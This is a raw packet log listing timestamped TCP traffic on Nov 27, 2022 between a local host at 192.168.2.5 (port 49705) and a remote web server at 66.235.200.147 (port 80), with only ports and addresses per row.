Nov 27, 2022 04:36:40.201006889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201019049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201060057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201090097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201101065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201142073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201178074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201180935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201220989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201242924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201261044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201301098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201325893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201340914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201380968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201409101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201420069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201461077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201483965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201498985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201538086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201569080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201577902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201620102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201639891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201661110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201699018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201724052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201740026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201781988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201821089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201838970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201860905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201898098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201903105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201941967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.201970100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.201980114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202019930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202042103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202060938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202101946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202128887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202138901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202178001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202204943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202217102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202255964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202294111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202332020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202332973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202370882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202377081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202411890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202438116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202450037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202495098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202527046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202533960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202574015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202614069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202652931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202651978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202692986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202697039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202734947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202766895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202775955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202816010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202838898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202857018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202915907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202920914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.202955961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.202995062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203027010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203035116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203073978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203102112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203111887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203150988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203172922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203190088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203229904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203244925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203269958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203310013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203330040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203350067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203388929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203408957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203429937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203468084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203485966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203506947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203547001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203563929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203584909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203627110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203644037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203666925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203705072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203725100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203744888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203784943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203808069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203824997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203866005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203887939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203906059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203944921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.203965902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.203984976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204022884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204040051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204061985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204099894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204139948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204157114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204180002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204202890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204219103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204261065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204279900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204313040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204335928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204355955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204374075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204376936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204399109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.204411030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.204463959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.223366976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223481894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223613024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223637104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.223668098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223712921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223757982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223764896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.223799944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223812103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.223845005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223887920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223931074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223973989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.223978996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.223978996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224016905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224061012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224072933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224107027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224149942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224179029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224215984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224260092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224270105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224303961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224345922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224358082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224390030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224433899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224442005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224478006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224520922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224526882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224564075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224617958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224633932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224678040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224723101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224739075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224766016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224803925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224834919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224849939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224894047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224926949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.224939108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.224982977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225003004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225027084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225070953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225089073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225112915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225157022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225178003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225202084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225255966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225258112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225301981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225343943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225356102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225387096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225430012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225442886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225474119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225517035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225526094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225562096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225605965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225620985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225649118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225691080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225707054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225733042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225778103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225790024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225820065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225862980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225883961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225907087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225950956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.225982904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.225994110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226037979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226052046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226082087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226125002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226139069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226167917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226211071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226216078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226254940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226305962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226310968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226324081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226356030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226398945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226413965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226444006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226454020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226485968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226527929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226538897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226571083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226617098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226639032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226659060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226701021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226712942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226762056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226804018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226819038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226851940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226936102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.226942062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.226989985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227034092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227051020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227077007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227119923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227132082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227164030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227206945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227243900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227250099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227293015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227305889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227351904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227392912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227406979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227438927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227480888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227498055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227524042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227569103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227583885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227616072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227658987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227674961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227704048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227747917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227792025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227834940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227837086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227879047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227881908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227924109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.227940083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.227967024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228010893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228020906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228051901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228096008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228117943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228138924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228183031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228207111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228225946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228271008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228286982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228313923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228372097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228374958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228415966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228460073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228488922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228503942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228547096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228558064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228599072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228653908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228666067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228712082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228754997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228797913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228837967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228880882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228885889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228885889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228923082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.228964090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.228965044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229008913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229058027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229060888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229101896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229134083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229146957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229188919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229229927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229259014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229279995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229315042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229324102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229384899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229429007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229430914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229470968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229481936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229513884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229554892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229599953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229649067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229655027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229691982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229701042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.229737043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.229748011 CET	49705	80	192.168.2.5	66.235.200.147
